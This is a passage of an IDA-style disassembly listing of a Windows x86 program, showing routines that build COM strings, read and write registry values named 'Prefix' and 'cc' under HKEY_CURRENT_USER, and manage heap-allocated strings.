		lea	eax, [esi+edi]
		push	eax		; ui
		push	ebx		; strIn
		mov	[ebp+var_C], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40865E
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_14]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_C]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_40865E:				; CODE XREF: sub_4084F0+125j
		mov	edx, [ebp+var_10]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	eax, [edx+1Ch]
		push	eax		; hInstance
		call	sub_40A840
		lea	ecx, [ebp+dwDisposition]
		lea	edx, [ebp+hKey]
		push	ecx		; lpdwDisposition
		push	edx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4086BF
		mov	eax, [ebp+lpData]
		mov	ecx, [ebp+hKey]
		push	0Ah		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPrefix	; "Prefix"
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_4086BF:				; CODE XREF: sub_4084F0+1AAj
		mov	eax, [ebp+lpMem]
		test	eax, eax
		jz	short loc_4086D6
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_4086D6:				; CODE XREF: sub_4084F0+1D4j
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-250h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4084F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4086F0	proc near		; CODE XREF: sub_405C90+7C2p

psz		= byte ptr -454h
Data		= byte ptr -254h
var_154		= byte ptr -154h
bstrString	= dword	ptr -54h
lpMem		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_2A		= byte ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Type		= dword	ptr -20h
String2		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
hKey		= dword	ptr -0Ch
lpString	= dword	ptr -8
cbData		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		mov	eax, [ecx+1Ch]
		push	ebx
		push	esi
		mov	[ebp+var_10], ecx
		push	edi
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_48], bl
		mov	[ebp+var_2A], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:lstrlenA
		cmp	esi, ebx
		jz	short loc_408799
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_408754
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40879C
; ---------------------------------------------------------------------------


loc_408754:				; CODE XREF: sub_4086F0+56j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40879C
; ---------------------------------------------------------------------------


loc_408799:				; CODE XREF: sub_4086F0+4Cj
		mov	[ebp+bstrString], ebx


loc_40879C:				; CODE XREF: sub_4086F0+62j
					; sub_4086F0+A7j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_4087AA
		mov	[ebp+lpString],	ebx
		jmp	short loc_4087E0
; ---------------------------------------------------------------------------


loc_4087AA:				; CODE XREF: sub_4086F0+B3j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx
		xor	ebx, ebx


loc_4087E0:				; CODE XREF: sub_4086F0+B8j
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_24], edi
		jnz	short loc_4087FA
		xor	esi, esi
		jmp	short loc_408803
; ---------------------------------------------------------------------------


loc_4087FA:				; CODE XREF: sub_4086F0+104j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_408803:				; CODE XREF: sub_4086F0+108j
		lea	eax, [esi+edi]
		push	eax		; ui
		push	ebx		; strIn
		mov	[ebp+var_28], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40885E
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_24]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_28]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_40885E:				; CODE XREF: sub_4086F0+125j
		mov	edx, [ebp+var_10]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	eax, [edx+1Ch]
		push	eax		; hInstance
		call	sub_40A840
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	20019h		; samDesired
		push	0		; ulOptions
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_408906
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+cbData]
		mov	esi, ds:RegQueryValueExA
		push	edx		; lpcbData
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		push	offset aPrefix	; "Prefix"
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4088F5
		lea	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx		; lpcbData
		mov	edx, [ebp+hKey]
		lea	ecx, [ebp+Type]
		push	eax		; lpData
		push	ecx		; lpType
		push	0		; lpReserved
		push	offset aPrefix	; "Prefix"
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		mov	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax
		lea	edx, [ebp+var_154]
		push	ecx
		push	edx
		call	sub_40B070
		mov	eax, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+eax+var_154], 0
		jmp	short loc_4088FC
; ---------------------------------------------------------------------------


loc_4088F5:				; CODE XREF: sub_4086F0+1C0j
		mov	[ebp+var_154], 0


loc_4088FC:				; CODE XREF: sub_4086F0+203j
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_408906:				; CODE XREF: sub_4086F0+1A0j
		lea	edi, [ebp+var_154]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		xor	edx, edx
		repne scasb
		mov	dword ptr [ebp+String2], edx
		not	ecx
		mov	[ebp+var_18], edx
		dec	ecx
		mov	[ebp+var_14], dx
		jz	short loc_408939
		lea	eax, [ebp+var_154]
		push	0Ah
		lea	ecx, [ebp+String2]
		push	eax
		push	ecx
		call	sub_40B070
		add	esp, 0Ch


loc_408939:				; CODE XREF: sub_4086F0+232j
		mov	ecx, dword_40FBC8
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		call	sub_409C20
		mov	eax, [ebp+lpMem]
		test	eax, eax
		jz	short loc_40895F
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_40895F:				; CODE XREF: sub_4086F0+25Dj
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-460h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4086F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408980	proc near		; CODE XREF: sub_405C90+15Cp
					; sub_405C90+1D5p

psz		= byte ptr -448h
Data		= byte ptr -248h
var_148		= byte ptr -148h
bstrString	= dword	ptr -48h
lpMem		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_1E		= byte ptr -1Eh
Type		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
hKey		= dword	ptr -0Ch
lpString	= dword	ptr -8
cbData		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 448h
		mov	eax, [ecx+1Ch]
		push	ebx
		push	esi
		mov	[ebp+var_10], ecx
		push	edi
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], bl
		mov	[ebp+var_1E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:lstrlenA
		cmp	esi, ebx
		jz	short loc_408A29
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_4089E4
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_408A2C
; ---------------------------------------------------------------------------


loc_4089E4:				; CODE XREF: sub_408980+56j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_408A2C
; ---------------------------------------------------------------------------


loc_408A29:				; CODE XREF: sub_408980+4Cj
		mov	[ebp+bstrString], ebx


loc_408A2C:				; CODE XREF: sub_408980+62j
					; sub_408980+A7j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_408A3A
		mov	[ebp+lpString],	ebx
		jmp	short loc_408A70
; ---------------------------------------------------------------------------


loc_408A3A:				; CODE XREF: sub_408980+B3j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx
		xor	ebx, ebx


loc_408A70:				; CODE XREF: sub_408980+B8j
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_14], edi
		jnz	short loc_408A8A
		xor	esi, esi
		jmp	short loc_408A93
; ---------------------------------------------------------------------------


loc_408A8A:				; CODE XREF: sub_408980+104j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_408A93:				; CODE XREF: sub_408980+108j
		lea	eax, [esi+edi]
		push	eax		; ui
		push	ebx		; strIn
		mov	[ebp+var_18], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_408AEE
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_14]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_408AEE:				; CODE XREF: sub_408980+125j
		mov	edx, [ebp+var_10]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	eax, [edx+1Ch]
		push	eax		; hInstance
		call	sub_40A840
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	20019h		; samDesired
		push	0		; ulOptions
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_408B96
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+cbData]
		mov	esi, ds:RegQueryValueExA
		push	edx		; lpcbData
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		push	offset aCc	; "cc"
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_408B85
		lea	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx		; lpcbData
		mov	edx, [ebp+hKey]
		lea	ecx, [ebp+Type]
		push	eax		; lpData
		push	ecx		; lpType
		push	0		; lpReserved
		push	offset aCc	; "cc"
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		mov	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax
		lea	edx, [ebp+var_148]
		push	ecx
		push	edx
		call	sub_40B070
		mov	eax, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+eax+var_148], 0
		jmp	short loc_408B8C
; ---------------------------------------------------------------------------


loc_408B85:				; CODE XREF: sub_408980+1C0j
		mov	[ebp+var_148], 0


loc_408B8C:				; CODE XREF: sub_408980+203j
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_408B96:				; CODE XREF: sub_408980+1A0j
		lea	edx, [ebp+var_148]
		push	edx
		call	sub_40BD96
		mov	esi, eax
		mov	eax, [ebp+lpMem]
		add	esp, 4
		test	eax, eax
		jz	short loc_408BBE
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_408BBE:				; CODE XREF: sub_408980+22Cj
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-454h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_408BE0(int)

sub_408BE0	proc near		; CODE XREF: sub_4010C0+3ACp
					; sub_405830+12Ep
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	offset a2_0	; "2.0"
		push	esi		; int
		mov	[esi], edi
		mov	[esi+4], edi
		call	sub_408E00
		mov	[esi+28h], edi
		mov	[esi+24h], edi
		lea	eax, [esi+10h]
		mov	ecx, 2


loc_408C04:				; CODE XREF: sub_408BE0+30j
		mov	[eax-8], edi
		mov	[eax], edi
		mov	[eax+8], edi
		add	eax, 4
		dec	ecx
		jnz	short loc_408C04
		mov	[esi+20h], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_408BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408C20	proc near		; CODE XREF: sub_404570+Cp
					; sub_405830+23Dp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		push	eax		; lpMem
		call	sub_40AF10
		mov	ecx, [edi+4]
		xor	ebx, ebx
		push	ecx		; lpMem
		mov	[edi], ebx
		call	sub_40AF10
		add	esp, 8
		mov	[edi+4], ebx
		lea	esi, [edi+10h]
		mov	ebp, 2


loc_408C49:				; CODE XREF: sub_408C20+64j
		mov	eax, [esi-8]
		cmp	eax, ebx
		jz	short loc_408C5C
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esi-8], ebx


loc_408C5C:				; CODE XREF: sub_408C20+2Ej
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_408C6D
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esi], ebx


loc_408C6D:				; CODE XREF: sub_408C20+40j
		mov	eax, [esi+8]
		cmp	eax, ebx
		jz	short loc_408C80
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esi+8], ebx


loc_408C80:				; CODE XREF: sub_408C20+52j
		add	esi, 4
		dec	ebp
		jnz	short loc_408C49
		mov	eax, [edi+20h]
		cmp	eax, ebx
		jz	short loc_408C99
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[edi+20h], ebx


loc_408C99:				; CODE XREF: sub_408C20+6Bj
		mov	eax, [edi+28h]
		cmp	eax, ebx
		jz	short loc_408CAC
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[edi+28h], ebx


loc_408CAC:				; CODE XREF: sub_408C20+7Ej
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408C20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408CC0	proc near		; CODE XREF: sub_405830+14Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [ebp+0]
		mov	ecx, [edi]
		push	eax		; lpString2
		push	ecx		; lpString1
		mov	ecx, edi
		call	sub_408DD0
		test	al, al
		jz	short loc_408D41
		mov	edx, [ebp+4]
		mov	eax, [edi+4]
		push	edx		; lpString2
		push	eax		; lpString1
		mov	ecx, edi
		call	sub_408DD0
		test	al, al
		jz	short loc_408D41
		mov	eax, [esp+10h+arg_0]
		xor	ebx, ebx
		add	ebp, 10h
		sub	eax, edi
		lea	esi, [edi+8]
		mov	[esp+10h+arg_0], eax
		jmp	short loc_408D07
; ---------------------------------------------------------------------------


loc_408D03:				; CODE XREF: sub_408CC0+76j
		mov	eax, [esp+10h+arg_0]


loc_408D07:				; CODE XREF: sub_408CC0+41j
		mov	ecx, [eax+esi]
		mov	edx, [esi]
		push	ecx		; lpString2
		push	edx		; lpString1
		mov	ecx, edi
		call	sub_408DD0
		test	al, al
		jz	short loc_408D41
		mov	eax, [ebp+0]
		mov	ecx, [esi+8]
		push	eax		; lpString2
		push	ecx		; lpString1
		mov	ecx, edi
		call	sub_408DD0
		test	al, al
		jz	short loc_408D41
		inc	ebx
		add	esi, 4
		add	ebp, 4
		cmp	ebx, 2
		jl	short loc_408D03
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_408D41:				; CODE XREF: sub_408CC0+1Aj
					; sub_408CC0+2Dj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	4
sub_408CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_408D50(int,int)

sub_408D50	proc near		; CODE XREF: sub_405830+232p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		mov	esi, ecx
		mov	eax, [ebp+0]
		push	eax		; lpString2
		push	esi		; int
		call	sub_408E00
		mov	ecx, [ebp+4]
		lea	edx, [esi+4]
		push	ecx		; lpString2
		push	edx		; int
		mov	ecx, esi
		call	sub_408E00
		lea	ebx, [ebp+10h]
		lea	edi, [esi+8]
		sub	ebp, esi
		mov	[esp+14h+var_4], 2


loc_408D84:				; CODE XREF: sub_408D50+5Dj
		mov	eax, [edi+ebp]
		mov	ecx, esi
		push	eax		; lpString2
		push	edi		; int
		call	sub_408E00
		mov	ecx, [ebx]
		lea	edx, [edi+8]
		push	ecx		; lpString2
		push	edx		; int
		mov	ecx, esi
		call	sub_408E00
		mov	eax, [esp+14h+var_4]
		add	edi, 4
		add	ebx, 4
		dec	eax
		mov	[esp+14h+var_4], eax
		jnz	short loc_408D84
		mov	edi, [esp+14h+arg_0]
		lea	ecx, [esi+20h]
		mov	eax, [edi+20h]
		push	eax		; lpString2
		push	ecx		; int
		mov	ecx, esi
		call	sub_408E00
		mov	edx, [edi+24h]
		pop	edi
		mov	[esi+24h], edx
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
sub_408D50	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_408DD0(LPCSTR lpString1,LPCSTR lpString2)

sub_408DD0	proc near		; CODE XREF: sub_408CC0+13p
					; sub_408CC0+26p ...

lpString1	= dword	ptr  4
lpString2	= dword	ptr  8

		mov	ecx, [esp+lpString1]
		test	ecx, ecx
		jz	short loc_408DF0
		mov	eax, [esp+lpString2]
		test	eax, eax
		jz	short loc_408DF0
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		setz	al
		retn	8
; ---------------------------------------------------------------------------


loc_408DF0:				; CODE XREF: sub_408DD0+6j
					; sub_408DD0+Ej
		xor	al, al
		retn	8
sub_408DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_408E00(int,LPCSTR lpString2)

sub_408E00	proc near		; CODE XREF: sub_408BE0+11p
					; sub_408D50+10p ...

arg_0		= dword	ptr  4
lpString2	= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_408E15
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4


loc_408E15:				; CODE XREF: sub_408E00+Aj
		mov	esi, [esp+8+lpString2]
		test	esi, esi
		jnz	short loc_408E26
		mov	[edi], esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_408E26:				; CODE XREF: sub_408E00+1Bj
		push	esi		; lpString
		call	ds:lstrlenA	; lstrlenA
		inc	eax
		push	eax		; dwBytes
		call	sub_40AE50
		add	esp, 4
		mov	[edi], eax
		test	eax, eax
		jnz	short loc_408E44
		pop	edi
		xor	al, al
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_408E44:				; CODE XREF: sub_408E00+3Bj
		push	esi		; lpString2
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		pop	edi
		mov	al, 1
		pop	esi
		retn	8
sub_408E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_408E60(int,int,LPCSTR lpString2)

sub_408E60	proc near		; CODE XREF: sub_408E90+4Dp
					; sub_409350+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
lpString2	= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jl	short loc_408E84
		cmp	eax, 2
		jg	short loc_408E84
		mov	edx, [esp+lpString2]
		push	edx		; lpString2
		mov	edx, [esp+4+arg_4]
		lea	eax, [edx+eax*4-4]
		push	eax		; int
		call	sub_408E00
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408E84:				; CODE XREF: sub_408E60+7j
					; sub_408E60+Cj
		xor	al, al
		retn	0Ch
sub_408E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_408E90(int,int,HINSTANCE hInstance,UINT uID)

sub_408E90	proc near		; CODE XREF: sub_4092D0+13p
					; sub_409310+13p

String2		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
hInstance	= dword	ptr  0Ch
uID		= dword	ptr  10h

		mov	edx, [esp+hInstance]
		sub	esp, 400h
		lea	eax, [esp+400h+String2]
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+404h+uID]
		push	400h		; cchBufferMax
		push	eax		; lpBuffer
		push	ecx		; uID
		push	edx		; hInstance
		call	ds:LoadStringA	; LoadStringA
		test	eax, eax
		jnz	short loc_408EC6
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	10h
; ---------------------------------------------------------------------------


loc_408EC6:				; CODE XREF: sub_408E90+28j
		mov	ecx, [esp+404h+arg_4]
		mov	edx, [esp+404h+arg_0]
		lea	eax, [esp+404h+String2]
		push	eax		; lpString2
		push	ecx		; int
		push	edx		; int
		mov	ecx, esi
		call	sub_408E60
		pop	esi
		add	esp, 400h
		retn	10h
sub_408E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408EF0	proc near		; CODE XREF: sub_4092F0+9p
					; sub_409330+9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jl	short loc_408F09
		cmp	eax, 2
		jg	short loc_408F09
		mov	ecx, [esp+arg_4]
		mov	eax, [ecx+eax*4-4]
		retn	8
; ---------------------------------------------------------------------------


loc_408F09:				; CODE XREF: sub_408EF0+7j
					; sub_408EF0+Cj
		xor	eax, eax
		retn	8
sub_408EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_408F10(DWORD Type,LPCSTR cbData,int)

sub_408F10	proc near		; CODE XREF: sub_408FC0+64p
					; sub_408FC0+81p ...

Type		= dword	ptr  4
cbData		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+Type]
		push	ebp
		mov	ebp, ds:RegQueryValueExA
		mov	edx, [ebx]
		push	esi
		lea	eax, [esp+0Ch+cbData]
		push	edi
		mov	edi, [esp+10h+cbData]
		push	eax		; lpcbData
		lea	ecx, [esp+14h+Type]
		push	0		; lpData
		push	ecx		; lpType
		push	0		; lpReserved
		push	edi		; lpValueName
		push	edx		; hKey
		call	ebp ; RegQueryValueExA
		test	eax, eax
		jz	short loc_408F43
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408F43:				; CODE XREF: sub_408F10+28j
		cmp	[esp+10h+Type],	1
		jz	short loc_408F53
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408F53:				; CODE XREF: sub_408F10+38j
		mov	esi, [esp+10h+arg_8]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_408F66
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4


loc_408F66:				; CODE XREF: sub_408F10+4Bj
		mov	eax, [esp+10h+cbData]
		inc	eax
		push	eax		; dwBytes
		call	sub_40AE50
		add	esp, 4
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_408F83
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
